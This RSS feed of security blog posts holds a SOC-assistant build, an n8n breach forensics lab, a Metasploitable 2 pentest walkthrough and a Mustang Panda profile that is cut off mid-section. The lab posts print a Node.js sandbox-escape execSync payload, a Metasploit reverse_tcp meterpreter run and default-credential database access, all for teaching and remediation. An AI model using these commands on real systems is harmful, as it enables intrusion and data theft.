<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ezechi Jeremiah Chigozie on Medium]]></title>
        <description><![CDATA[Stories by Ezechi Jeremiah Chigozie on Medium]]></description>
        <link>https://medium.com/@ezechijapheth?source=rss-bca8169c1efb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rCr7yv2SwZl6VKZUKaCVXg.jpeg</url>
            <title>Stories by Ezechi Jeremiah Chigozie on Medium</title>
            <link>https://medium.com/@ezechijapheth?source=rss-bca8169c1efb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 16:11:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ezechijapheth/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Alert That Needed Two AI Specialists]]></title>
            <link>https://medium.com/@ezechijapheth/the-alert-that-needed-two-ai-specialists-3674b2d4d0df?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3674b2d4d0df</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 09:01:02 GMT</pubDate>
            <atom:updated>2026-08-18T09:01:02.672Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How I built a multi-agent SOC assistant that knows the difference between “our rules” and “the world’s rules,” and why that difference is the whole point.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQjJ0DN1TS6RXNo_-t2w9g.png" /></figure><h3>The Problem I Wanted to Solve</h3><p>Every SOC analyst carries two kinds of knowledge in their head at once.</p><p>The <strong>first </strong>kind is private. It’s the stuff only your company knows: what severity a specific alert starts at, which playbook to run, who to call at 2am, how fast you’re required to notify them. You can’t Google this. It lives in your internal wiki, your SIEM’s detection catalog, your escalation matrix.</p><p>The <strong>second </strong>kind is public. It’s the shared language of the security industry: MITRE ATT&amp;CK techniques, CVEs, the tactics adversaries use everywhere, not just at your company. You can Google this. Anyone can.</p><p>A <strong>good </strong>analyst switches between these two worlds instantly, without even noticing they’re doing it. An alert fires, and in the same breath they’re thinking “this maps to Impossible Travel in our catalog” and “this is basically Valid Accounts abuse, T1078.”</p><p>I wanted to know: could I build a system that made that same switch, deliberately and visibly, instead of blending both kinds of knowledge into one confident guess?</p><p>That’s what this project is.</p><h3>What I Built</h3><p>A triage assistant for a fictional company called NovaCorp, made of three parts working together.</p><p><strong>A Policy Agent</strong> that only knows what NovaCorp’s internal SOC documents say. Detection catalog, playbooks, escalation matrix, policies. Nothing else. If the answer isn’t in those documents, it says so instead of guessing.</p><p><strong>A Lookup Agent</strong> that only knows what’s publicly available. MITRE ATT&amp;CK techniques, general security concepts. It searches the live internet for answers instead of relying on what it already “remembers,” because security knowledge changes and stale answers are dangerous answers.</p><p><strong>A Triage Supervisor</strong> that knows neither of these things itself. Its only job is to listen to a question, decide which of its two specialists actually has the answer, and route accordingly. Sometimes it only needs one. Sometimes a single question needs both, and it has to know how to combine two very different kinds of answers into one coherent response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DpO0hjRalq5r8cVdD4im1w.png" /><figcaption><em>The full three-agent architecture, showing the Policy Agent and Lookup Agent both connected as tools into the Supervisor</em></figcaption></figure><h3>How It Actually Works Under the Hood</h3><p>The Policy Agent isn’t just a chatbot that memorized some documents. It’s built on a technique called retrieval augmented generation, or RAG. NovaCorp’s internal documents get broken into chunks, converted into embeddings, and stored in a vector database. When a question comes in, the system searches that database for the most relevant chunks and hands them to the model as grounding, with an instruction to answer only from what it was actually given.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*lO6xZWtvt_N76eWZ2nCpDQ.png" /><figcaption><em>The ingestion flow, showing NovaCorp’s documents being loaded, chunked, and embedded</em></figcaption></figure><p>I tested this piece on its own first, before connecting anything else, by asking it a real triage question:</p><blockquote>An NC-DET-014 alert just fired. What does that detection mean, what severity does it start at, and which playbook do I run?</blockquote><p>It came back with the correct answer, and named the exact source files it pulled from. That last part mattered to me. An answer without a citation is just a claim. An answer with a citation is evidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QwJe06ihL_o7VVtikFdRjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2PJGAkkLnSEJQVq3tV4PA.png" /><figcaption><em>RAG flow answering that question correctly</em></figcaption></figure><p>The Lookup Agent works differently. It has no private documents at all. Instead, it’s given a tool that lets it search the live web, and I explicitly instructed it to always verify before answering, even when it’s confident it already knows the answer. Security knowledge shifts, and a system that answers from stale memory instead of checking is a system that will eventually be wrong at the worst possible time.</p><h3>The Real Test</h3><p>The three questions that mattered most were designed to test exactly this switching behavior.</p><p><strong>Question one</strong> needed only private knowledge. What does this alert mean, and what do we do about it.</p><p><strong>Question two</strong> needed only public knowledge. What does this MITRE technique mean, in general.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-1kTaKl5XLLlrrAjJ5Lgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BnSKjPPkGI5qAmoFUwq_aw.png" /></figure><p><strong>Question three</strong> needed both, in the same breath, the way a real analyst’s thinking actually works:</p><blockquote>An NC-DET-014 alert fired on a NovaCorp employee account. Tell me the NovaCorp containment steps and who I have to notify and how fast, and also tell me which MITRE ATT&amp;CK technique this activity maps to.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvnTgg3DvAJ5_c3cyIETVQ.png" /></figure><p>Watching the Supervisor correctly split that question in half, send each half to the right specialist, and merge the results into one clear answer was the moment this stopped feeling like an exercise and started feeling like a real piece of architecture.</p><h3>Why This Matters Beyond the Exercise</h3><p>This is the same shape as every “AI SOC analyst” product currently entering the market. Private operational knowledge in retrieval. Public threat knowledge on demand. A router deciding between them. Understanding this architecture from the inside changes how I evaluate these tools when they’re pitched to me, and it changes what questions I know to ask.</p><p>It also surfaces a problem worth sitting with. The Supervisor trusts whatever the Policy Agent hands it back. What happens if someone gets a malicious document into that internal knowledge base? What happens if the analyst’s own question contains hidden instructions the system wasn’t built to resist? That’s prompt injection against a RAG backed agent, and it’s not a hypothetical. It’s the next thing I’m working on.</p><h3>What This Project Taught Me</h3><p>The most useful part of this build wasn’t getting it to work. It was catching the moment it didn’t. Early on, before I’d properly separated the two agents’ responsibilities, the Lookup Agent answered a MITRE mapping question with complete confidence and got it wrong. It sounded exactly as certain as when it was right.</p><p>That’s the entire argument for building it this way in the first place. A system that knows what it doesn’t know is worth more than one that never admits it might be wrong.</p><p><em>Built in Langflow, using a retrieval augmented generation (RAG) pipeline for private knowledge, live web search for public knowledge, and a supervising agent to route between them.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3674b2d4d0df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 30-Minute Breach: How an Attacker Went from Port Scan to Data Exfiltration on a Cloud Server]]></title>
            <link>https://medium.com/@ezechijapheth/the-30-minute-breach-how-an-attacker-went-from-port-scan-to-data-exfiltration-on-a-cloud-server-158e64fd109a?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/158e64fd109a</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[drif]]></category>
            <category><![CDATA[n8n]]></category>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Sat, 09 May 2026 15:02:16 GMT</pubDate>
            <atom:updated>2026-05-09T15:02:16.619Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>One unpatched vulnerability. Forty-five malicious workflows. Thirty minutes. Here’s how I reconstructed the whole thing.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukRdnagsKmvNu9iXUZI9tQ.png" /></figure><p>On January 12, 2026, at 09:50 UTC, an alert fired. The NexaTech SOC flagged unusual outbound API calls from their n8n automation server. The admin account may have been compromised. The attacker may already be inside.</p><p>This is the story of how I investigated it.</p><h3>What I Was Working With</h3><p>Before touching any tools, I reviewed the known facts:</p><p>Attribute Value Server nexatech-n8n-prod Public IP 18.157.85.87 OS Ubuntu 24.04 LTS Application n8n v1.65.0 Service Port 5678</p><p>Two objectives: <strong>find the initial access vector</strong> and <strong>assess the full impact.</strong></p><p>I had two sources of evidence — AWS VPC Flow Logs in CloudWatch, and a raw disk image (n8n-automation-disk.img) from the compromised server.</p><p>Let’s get into it.</p><h3>Step 1 — Detecting the Port Scan in VPC Flow Logs</h3><p>The first question was simple: did someone case the place before breaking in?</p><p>I logged into the AWS Console and navigated to <strong>CloudWatch → Logs Insights</strong>, selected the /nexatech/vpc-flowlogs log group, and set the time range to January 11–12, 2026. Then I ran this query:</p><pre>fields @timestamp, srcAddr, dstAddr, dstPort, action, protocol<br>| filter dstAddr = &quot;18.157.85.87&quot;<br>| stats count_distinct(dstPort) as unique_ports,<br>        count(*) as total_attempts by srcAddr<br>| sort unique_ports desc<br>| limit 20</pre><blockquote>I filtered on the <strong>public IP</strong> not the private IP — that’s where external scanners would be hitting.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dEkp0Svz9_QqdhXPo6wEdw.png" /><figcaption>CloudWatch Logs Insights query results showing top source IPs by unique ports</figcaption></figure><p>The results were clear. One IP stood out from all the noise:</p><pre>142.93.147.161 → 173 unique ports, 345 total attempts</pre><p><strong>That’s your port scanner.</strong> A single external IP probing 173 different ports in a short window is textbook reconnaissance.</p><h3>Step 2 — What Ports Did the Attacker Successfully Get Into?</h3><p>Finding the scan was step one. Step two was finding what was actually open — and what the attacker got through.</p><pre>fields @timestamp, srcAddr, dstAddr, dstPort, action, protocol<br>| filter dstAddr = &quot;18.157.85.87&quot;<br>| filter srcAddr = &quot;142.93.147.161&quot;<br>| filter action = &quot;ACCEPT&quot;<br>| stats count(*) as connection_count by dstPort<br>| sort dstPort asc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txGkRIcUa3c4J7q0Qsc5qA.png" /><figcaption>Query results showing ACCEPTED connections from attacker IP</figcaption></figure><p>Two ports came back as <strong>ACCEPTED</strong>:</p><ul><li><strong>Port 22</strong> — SSH</li><li><strong>Port 5678</strong> — n8n web application</li></ul><p>The attacker found the front door and the back door. Now let’s see which one they walked through.</p><h3>Step 3 — Getting Inside the Disk Image</h3><p>Time to pivot from the network to the host. I had a raw disk image and needed to get to the n8n database inside it.</p><p>First, I mapped the partition layout using The Sleuth Kit:</p><pre>mmls n8n-automation-disk.img</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYfy9yNSHmSgZuIa8lvrYg.png" /><figcaption>mmls output showing partition table</figcaption></figure><p>The main partition started at offset <strong>2099200</strong>. Next, I searched for the SQLite database:</p><pre>fls -r -o 2099200 n8n-automation-disk.img | grep -i &quot;sqlite&quot;</pre><p>Found it — inode <strong>524311</strong>:</p><pre>++++++ r/r 524311: database.sqlite</pre><p>I extracted it:</p><pre>icat -o 2099200 n8n-automation-disk.img 524311 &gt; n8n_database.sqlite</pre><p>Then opened it:</p><pre>sqlitebrowser n8n_database.sqlite</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35vi6gVgV4e5Xm26e7_N5Q.png" /><figcaption>DB Browser for SQLite showing the database open</figcaption></figure><h3>Step 4 — Reading the Attacker’s Playbook from the Database</h3><p>n8n stores every workflow in a SQLite database. Every workflow the attacker created — every command they ran — was sitting right there in the workflow_entity table.</p><pre>SELECT id, name, active, createdAt<br>FROM workflow_entity<br>ORDER BY createdAt ASC;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Dv4wYLgvYpsgQSwkZR-mA.png" /><figcaption>SQLite query results showing all workflows in order</figcaption></figure><p>What came back was a complete timeline of the attack:</p><p>Time (UTC) Workflow Stage 09:59:56 Vulnerable Feedback Form Pre-existing entry point 10:04:22 exploit-1768212262 💥 Initial exploitation 10:10–10:21 recon-* (30+ workflows) 🔍 Internal reconnaissance 10:22–10:23 cmd-* (3 workflows) ⚙️ Command execution 10:24–10:25 net-* (3 workflows) 🌐 Network pivoting 10:29 exfil-* (5 workflows) 📤 Data exfiltration</p><p>The attacker created <strong>45 workflows in under 30 minutes.</strong> This wasn’t manual — it was scripted and deliberate.</p><h3>Step 5 — What Was Inside the Exploit Workflow?</h3><p>I queried the nodes of exploit-1768212262 directly:</p><pre>SELECT id, name, nodes, createdAt<br>FROM workflow_entity<br>WHERE name = &#39;exploit-1768212262&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*jqveZCcnQ6QFvEpsT4AkQQ.png" /><figcaption>SQLite query showing nodes JSON for exploit workflow</figcaption></figure><p>Inside the nodes column was this JavaScript payload injected into an n8n Set node:</p><pre>(function() {<br>  var require = this.process.mainModule.require;<br>  var execSync = require(&quot;child_process&quot;).execSync;<br>  return execSync(&quot;id &amp;&amp; hostname &amp;&amp; whoami&quot;).toString();<br>})()</pre><p>This is a <strong>Node.js sandbox escape</strong>. The attacker abused n8n’s expression evaluator to break out of the sandbox using process.mainModule.require and execute shell commands directly on the server.</p><p>The command id &amp;&amp; hostname &amp;&amp; whoami returned:</p><pre>uid=1000(node) gid=1000(node) groups=1000(node)<br>c20667ef21bf<br>node</pre><p>Three things confirmed in one line: they have code execution, they know the user context, and that short hostname (c20667ef21bf) tells them they&#39;re inside a <strong>Docker container</strong>.</p><h3>Step 6 — How Did They Get In? The Root Cause</h3><p>The exploitation chain started <strong>before</strong> the RCE. The attacker first hit the Vulnerable Feedback Form — a pre-existing n8n form trigger — and used it to read arbitrary files from the server unauthenticated.</p><p>This is <strong>CVE-2026–21858</strong>, a critical unauthenticated arbitrary file read vulnerability in n8n v1.65.0.</p><p>Here’s the full chain:</p><pre>CVE-2026-21858          CVE-2025-68613<br>Arbitrary File Read  →  Token Forge  →  Sandbox Escape  →  RCE<br>(Unauthenticated)       (Admin Access)   (Authenticated)</pre><ol><li>Read the n8n encryption key and database via the vulnerable form</li><li>Forged an admin authentication token</li><li>Used admin access to inject malicious expressions (CVE-2025–68613)</li><li>Achieved full RCE on the server</li></ol><h3>Full Attack Timeline</h3><pre>09:50 UTC — SOC alert fires<br>09:59 UTC — Attacker accesses Vulnerable Feedback Form (CVE-2026-21858)<br>10:04 UTC — First exploit workflow created, RCE confirmed<br>10:10 UTC — Automated recon begins (30+ workflows in 11 minutes)<br>10:22 UTC — Command execution workflows deployed<br>10:24 UTC — Network pivoting workflows deployed<br>10:29 UTC — Data exfiltration begins</pre><h3>What Should Have Stopped This</h3><ul><li><strong>Patch n8n to v1.122.0+</strong> — Fixes both CVE-2026–21858 and CVE-2025–68613 directly</li><li><strong>Don’t expose port 5678 to the internet</strong> — No public access = no attack surface</li><li><strong>Restrict workflow creation to trusted users</strong> — Limits blast radius if credentials are stolen</li><li><strong>Run n8n with least privilege</strong> — Attacker got uid=1000 not root — good, but not enough</li><li><strong>Monitor for unusual workflow creation spikes</strong> — 45 workflows in 30 minutes should trigger an instant alert</li><li><strong>Enforce network egress controls</strong> — Would have blocked the exfiltration stage entirely</li></ul><h3>Tools Used</h3><ul><li><strong>AWS CloudWatch Logs Insights</strong> — VPC Flow Log analysis</li><li><strong>The Sleuth Kit (TSK)</strong> — Disk image parsing and file extraction</li><li><strong>DB Browser for SQLite</strong> — n8n database forensics</li><li><strong>Plaso / log2timeline</strong> — Forensic timeline creation</li></ul><h3>Key Takeaways</h3><p>This investigation showed how a single unpatched vulnerability on an internet-facing automation server can lead to complete compromise in under 30 minutes. The attacker was fast, scripted, and methodical — but they left a full trail in the database and the flow logs.</p><p>DFIR isn’t just about finding the smoking gun. It’s about reconstructing the entire story — from the first port scan to the last exfiltration attempt — so the organization knows exactly what happened, when, and how to make sure it never happens again.</p><p><em>This investigation was completed as part of a hands-on incident response lab. All systems and data are simulated for educational purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=158e64fd109a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Broke Into My Own Server 3 Different Ways →Here’s Exactly How I Did It]]></title>
            <link>https://medium.com/@ezechijapheth/i-broke-into-my-own-server-3-different-ways-heres-exactly-how-i-did-it-a199c1b06727?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a199c1b06727</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[web-app-pentesting]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Fri, 08 May 2026 10:01:01 GMT</pubDate>
            <atom:updated>2026-05-08T10:01:01.267Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A walkthrough of a real internal penetration test against Metasploitable 2, from weak SSH configs to a critical PostgreSQL remote code execution.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*pvMNw05hUPO0Vm2VlwXVoA.png" /></figure><p>There’s a particular thrill that comes with running your first successful exploit — watching a shell session open up on a target machine you control, knowing that if this were a real environment, the damage could be catastrophic. This write-up documents exactly that: a structured internal penetration test I conducted against a Metasploitable 2 target in a controlled lab environment, and the three significant vulnerabilities I uncovered along the way.</p><p>This isn’t just a trophy post. It’s a map — one that security teams, developers, and sysadmins can use to recognize these patterns in their own systems before an attacker does.</p><h3>The Setup</h3><p>Before any exploitation, context matters. Here’s the environment I worked in:</p><ul><li><strong>Attacker Machine:</strong> Kali Linux — 192.168.42.128</li><li><strong>Target Machine:</strong> Metasploitable 2 — 192.168.42.137</li><li><strong>Testing Type:</strong> Authenticated / Internal Penetration Test</li><li><strong>Scope:</strong> SSH (Port 22), MySQL (Port 3306), PostgreSQL (Port 5432)</li></ul><p>Metasploitable 2 is a deliberately vulnerable Linux VM designed for security training. Think of it as a punching bag built for exactly this kind of work.</p><h3>Finding #1 — SSH Weak Configuration &amp; Legacy Authentication Exposure</h3><p><strong>CVSS Score: 8.1 (High)</strong> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*EJ2N4sK46KYmEwbP8kHKjQ.png" /></figure><h3>What Happened</h3><p>The first thing I noticed during an Nmap scan was that the target was running an outdated SSH service — one that only advertised legacy host key algorithms (ssh-rsa, ssh-dss). My modern Kali SSH client flat-out rejected the connection by default. That&#39;s actually a good sign on a modern system — your client is protecting you. But on the target? It was a red flag.</p><p>After manually re-enabling legacy algorithm support on my end to simulate what an attacker with an older client (or a custom tool) would do, the connection went through. And then came the real punch: the system was still running with <strong>default credentials</strong>.</p><pre>Username: msfadmin<br>Password: msfadmin</pre><p>Metasploit’s sshexec module handled the rest:</p><pre>[*] SSH session 1 opened (192.168.42.128:36239 -&gt; 192.168.42.137:22)<br>    at 2026-05-07 17:00:20 -0400</pre><p>Full shell. Game over.</p><h3>Why This Matters</h3><p>Default credentials are the single most avoidable vulnerability in existence — and yet they remain one of the most common entry points in real-world breaches. Combine that with an outdated SSH daemon that hasn’t been patched in years, and you’ve essentially left your front door unlocked with a welcome mat outside.</p><p>If exploited in a real environment, an attacker gains:</p><ul><li>Remote shell access to the system</li><li>The ability to view and modify system files</li><li>A launchpad for deeper network enumeration</li></ul><h3>How to Fix It</h3><ol><li><strong>Upgrade SSH</strong> to a version that enforces modern cryptographic standards by default</li><li><strong>Change default credentials immediately</strong> — this should be the first thing done on any new deployment</li><li><strong>Restrict SSH access by IP</strong> using firewall rules to allow only trusted networks</li><li><strong>Implement multi-factor authentication (MFA)</strong> for SSH access — even a compromised password becomes useless without the second factor</li></ol><h3>Finding #2 — PostgreSQL Remote Code Execution</h3><p><strong>CVSS Score: 9.8 (Critical)</strong> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*ke3SoZTncdAA6fO8dy2sPg.png" /></figure><h3>What Happened</h3><p>This one scored a 9.8 — as close to a perfect 10 as it gets. The PostgreSQL service on port 5432 was exposed to the network and, crucially, running with default credentials (postgres:postgres). That combination opened the door for a full remote code execution attack.</p><p>Using Metasploit’s linux/postgres/postgres_payload module, I configured the exploit and fired it off:</p><pre>use exploit/linux/postgres/postgres_payload<br>set RHOSTS 192.168.42.137<br>set USERNAME postgres<br>set PASSWORD postgres<br>set LHOST 192.168.42.128<br>set payload linux/x86/meterpreter/reverse_tcp<br>run</pre><p>A Meterpreter session opened almost instantly. Running sysinfo and getuid inside the session confirmed the access:</p><pre>Computer  : metasploitable.localdomain<br>OS        : Ubuntu 8.04<br>Architecture : i686<br>Server user  : postgres</pre><p>I was now operating as the postgres system user on an Ubuntu 8.04 machine — a version of Ubuntu that reached end-of-life in 2013. That&#39;s more than a decade of unpatched vulnerabilities sitting right there.</p><h3>Why This Matters</h3><p>PostgreSQL is a powerful database engine. When it’s accessible over the network with default credentials, it becomes a powerful weapon against its own host. From this foothold, an attacker can:</p><ul><li>Read, modify, or delete database contents</li><li>Navigate the filesystem using PostgreSQL’s built-in file functions</li><li>Potentially escalate to root privileges through additional exploits</li></ul><p>A service running on Ubuntu 8.04 in 2026 is essentially an open invitation.</p><h3>How to Fix It</h3><ol><li><strong>Restrict PostgreSQL to localhost</strong> or a specific trusted IP range — it should never be publicly accessible unless absolutely necessary</li><li><strong>Rotate default credentials immediately</strong> and enforce strong password policies</li><li><strong>Patch and upgrade PostgreSQL</strong> — running software from 2008 is not a risk, it’s a certainty of compromise</li><li><strong>Enable query logging and audit trails</strong> so that unusual access patterns can be detected early</li></ol><h3>Finding #3 — MySQL Weak Credential Exposure &amp; Remote Access</h3><p><strong>CVSS Score: 8.8 (High)</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*flOGEeJoFM_nlFZr-2-dOg.png" /></figure><h3>What Happened</h3><p>The MySQL service on port 3306 was the third stop. Version detection returned MySQL 5.0.51a-3ubuntu5 — another vintage piece of software. Connecting directly from Kali using the MySQL client and the root account (with no password required) worked without hesitation:</p><pre>sudo mysql -h 192.168.42.137 -u root --skip-ssl</pre><p>From there, basic enumeration was trivial:</p><pre>SHOW DATABASES;<br>USE mysql;<br>SHOW TABLES;<br>SELECT USER, PASSWORD FROM user;</pre><p>The entire user table — including hashed passwords — was accessible. I also attempted a Metasploit exploit (mysql_yassl_getname) but it failed due to a version mismatch. The manual approach, however, needed no sophistication at all. Root access to the database required nothing more than knowing the IP address.</p><h3>Why This Matters</h3><p>A MySQL root account with no password and remote access enabled is about as dangerous as it sounds. From this position, an attacker can:</p><ul><li>Dump all stored application data — user records, credentials, private information</li><li>Modify or destroy data, causing application failures or data integrity issues</li><li>Use the MySQL server as a pivot point to probe internal network services</li><li>Extract application credentials that may be reused elsewhere</li></ul><h3>How to Fix It</h3><ol><li><strong>Disable remote root login entirely</strong> — root should only ever connect from localhost</li><li><strong>Apply the principle of least privilege</strong> — each application should have its own database user with only the permissions it needs</li><li><strong>Bind MySQL to localhost</strong> in the configuration file (bind-address = 127.0.0.1) unless external access is genuinely required</li><li><strong>Keep MySQL updated</strong> — version 5.0 has been unsupported for years and carries multiple known CVEs</li></ol><h3>The Bigger Picture</h3><p>Looking at these three findings together, a clear pattern emerges: <strong>the most dangerous vulnerabilities aren’t always the most complex ones</strong>. None of these required zero-day exploits or sophisticated toolchains. They required:</p><ul><li>Default credentials that were never changed</li><li>Services exposed to the network with no access controls</li><li>Software that hadn’t been updated in years</li></ul><p>These are configuration and maintenance failures, not exotic attack techniques. And that’s precisely what makes them so dangerous — they’re everywhere, they’re easy to exploit, and they’re entirely preventable.</p><p>Whether you’re a developer, a sysadmin, or a security engineer, the checklist is straightforward: audit your exposed services, change every default credential, enforce network segmentation, and keep your software current. The attacker’s job gets dramatically harder when the basics are done right.</p><p><em>This assessment was conducted in a controlled lab environment for educational purposes. All targets were owned by the author. Always obtain proper authorization before performing any security testing.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a199c1b06727" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Dragon That Doesn’t Sleep:
Inside Mustang Panda, China’s Most Persistent Cyber Espionage…]]></title>
            <link>https://medium.com/@ezechijapheth/the-dragon-that-doesnt-sleep-inside-mustang-panda-china-s-most-persistent-cyber-espionage-e193565a1ac5?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e193565a1ac5</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Mon, 20 Apr 2026 20:36:11 GMT</pubDate>
            <atom:updated>2026-04-20T20:36:11.022Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Dragon That Doesn’t Sleep:<br>Inside Mustang Panda, China’s Most Persistent Cyber Espionage Machine</h3><p><em>They survived a global takedown, rebuilt their infrastructure in weeks, and were back targeting U.S. policy organizations before the dust settled. Here’s everything you need to know about Earth Preta — and why defenders can’t afford to look away.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*wyRZaaYPbP9fzNTO5rnVtQ.jpeg" /></figure><p>Executive Summary</p><p>Mustang Panda (aka Earth Preta) is a Chinese state-aligned APT group that has been conducting long-term cyber espionage operations since at least 2012. Despite a law enforcement disruption in early 2025, the group re-tooled rapidly and resumed campaigns by January 2026, targeting U.S. government policy entities with a brand-new backdoor. They are known for PlugX-based intrusions, USB worm propagation, and DLL side-loading — primarily aimed at intelligence collection aligned with Beijing’s geopolitical priorities.</p><h3>01. Background</h3><p>Mustang Panda is one of the most consistently active Chinese state-nexus threat actors tracked by the global security community. First documented around 2012, the group operates with a singular mandate: long-term intelligence collection on behalf of Chinese government interests. Unlike disruptive actors or ransomware syndicates, Mustang Panda’s primary currency is persistence — staying invisible inside high-value networks for months or years, silently exfiltrating diplomatic cables, policy positions, and strategic data.</p><p>The group is known by a constellation of aliases across different vendors and intelligence sources. Understanding these aliases is critical for correlating threat intelligence across platforms:</p><p>Mustang PandaEarth PretaBronze PresidentTA416RedDeltaCamaro DragonTwill TyphoonHive0154Stately TaurusPKPLUG</p><p>Their targeting profile maps tightly to Chinese foreign policy priorities: Southeast Asian governments, European diplomatic missions, religious minorities including Tibetan communities, and international NGOs. The group is opportunistic in adopting new lures and tools — they are often among the first APT actors to weaponize breaking geopolitical events as phishing themes.</p><p><em>“Mustang Panda doesn’t need to break your door down. They’ll wait patiently at the window until you leave it open.”</em></p><h3>02. History &amp; Evolution</h3><p>Mustang Panda’s operational history reflects both remarkable consistency of purpose and rapid adaptability of method. Their evolution tracks closely with geopolitical flashpoints and technological change in the security landscape:</p><p><strong>2018–2020:</strong><br>Mustang Panda expanded operations into Europe, targeting entities like the Vatican and EU diplomatic bodies. They adopted DLL side-loading using trusted software (e.g., VLC media player) to evade detection and used COVID-19–themed lures to target Mongolian government organizations. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><p><strong>2021–2022:</strong><br>The group broadened its operations and developed custom tools such as <strong>TONESHELL</strong> and <strong>PUBLOAD</strong> to improve stealth. They also used USB-based attacks to spread malware into air-gapped systems and targeted European diplomatic entities during geopolitical tensions. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><p><strong>2023–2024:</strong><br>Campaigns intensified across the Indo-Pacific and Europe, including attacks on foreign ministries and government networks. Advanced techniques such as router firmware implants and USB worms were used for persistent access, and the group received the new designation <strong>“Twill Typhoon.”</strong> (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><p><strong>Early 2025:</strong><br>International law enforcement disrupted large portions of Mustang Panda’s command-and-control infrastructure, but the group quickly rebuilt and resumed operations using new tools and infrastructure. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><p><strong>2026 (Present):</strong><br>The group remains fully operational, launching new campaigns using advanced malware such as <strong>LOTUSLITE</strong> and continuing espionage activities against government and policy organizations worldwide. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><h3>03. Tactics, Techniques &amp; Procedures (TTPs)</h3><h3>Initial Access (T1566.001) — Spear-Phishing</h3><p>Attackers send carefully crafted emails using political or regional themes.<br>Malicious attachments such as <strong>.doc, .pdf, or .lnk</strong> files are used to trick victims into opening them.</p><h3>Execution 